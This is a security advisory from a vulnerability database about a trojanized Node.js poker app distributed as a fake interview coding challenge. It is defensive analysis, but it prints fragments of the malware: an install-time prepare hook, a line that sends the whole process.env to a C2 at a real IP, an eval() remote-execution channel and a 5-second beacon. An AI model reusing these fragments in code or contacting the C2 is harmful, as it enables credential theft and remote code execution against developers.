VDB
GCVE-110-OSM-2026-13235
GCVE-110-OSM-2026-13235
Advisory PublishedCVSS 9.6/10
Trojanized Node.js/React poker app distributed as a fake-interview "coding challenge" lure (DPRK "Contagious Interview" / DeceptiveDevelopment pattern).
An obfuscated JavaScript stager is appended to routes/api/auth.js on the same physical line as `module.exports = router;`, hidden behind ~783 chars of whitespace padding (full line 3,343 chars). Uses hex string-array obfuscation with a runtime-rotated array.
Two auto-execution paths, no HTTP request or manual run required:
(1) a package.json "prepare" script (`start /b node server || nohup node server &`) executes on `npm install`;
(2) the file is require()'d at server boot via routes/index.js, and a bare top-level block runs on load.
Behavior: collects hostname, OS (platform/type/release) and MAC address, then exfiltrates the entire process.env (API keys, DB creds, tokens) to the C2 as a GET query string. Beacons every 5 seconds. The C2 JSON response is parsed, and when status === "error" the message field is passed to eval(), yielding arbitrary RCE / a second-stage loader.
C2: http://51.77.188.54:1224/api/checkStatus (port 1224).
Hardcoded beacon tag sent as tid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= (base64 of "now it time to get everything").
Trigger file: routes/api/auth.js.
Install trigger: package.json "prepare" script.
The payload is a self-executing JavaScript stager appended to the end of routes/api/auth.js, after the legitimate `module.exports = router;`. It uses hex-named string-array obfuscation (_0x-style) with a runtime array-rotation routine; C2 URL and strings are stored base64/array-encoded and resolved at runtime.
On load it defines getSystemInfo(), which gathers os.hostname(), os.platform()/type()/release(), and the MAC of the first non-internal IPv4 interface via os.networkInterfaces(). A bare top-level try{} block then calls sendRequest() immediately and arms setInterval(sendRequest, 5000) for a 5-second beacon.
sendRequest() builds a URLSearchParams query containing: sysInfo (JSON.stringify of the host info), processInfo (JSON.stringify(process.env); full environment, i.e. any API keys, DB credentials and tokens), a hardcoded tid tag, and an incrementing sysId bot identifier. It issues fetch(decodedC2Url + '?' + params) to the C2 via HTTP GET. The C2 URL is Buffer.from(<base64>, 'base64').toString('utf8') => http://51.77.188.54:1224/api/checkStatus.
Key code artifacts:
'processInfo': JSON.stringify(process.env) // full env exfil
if ('error' === status) { try { eval(message); } catch {} } // RCE channel
setInterval(() => sendRequest(s), 0x1388) // 5000ms beacon
tid = bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= // base64 "now it time to get everything"
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | all (affected) | — |
References
Browse GCVE Records
3,142 records in the GCVE database · Updated October 5, 2026
No matching records found.
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.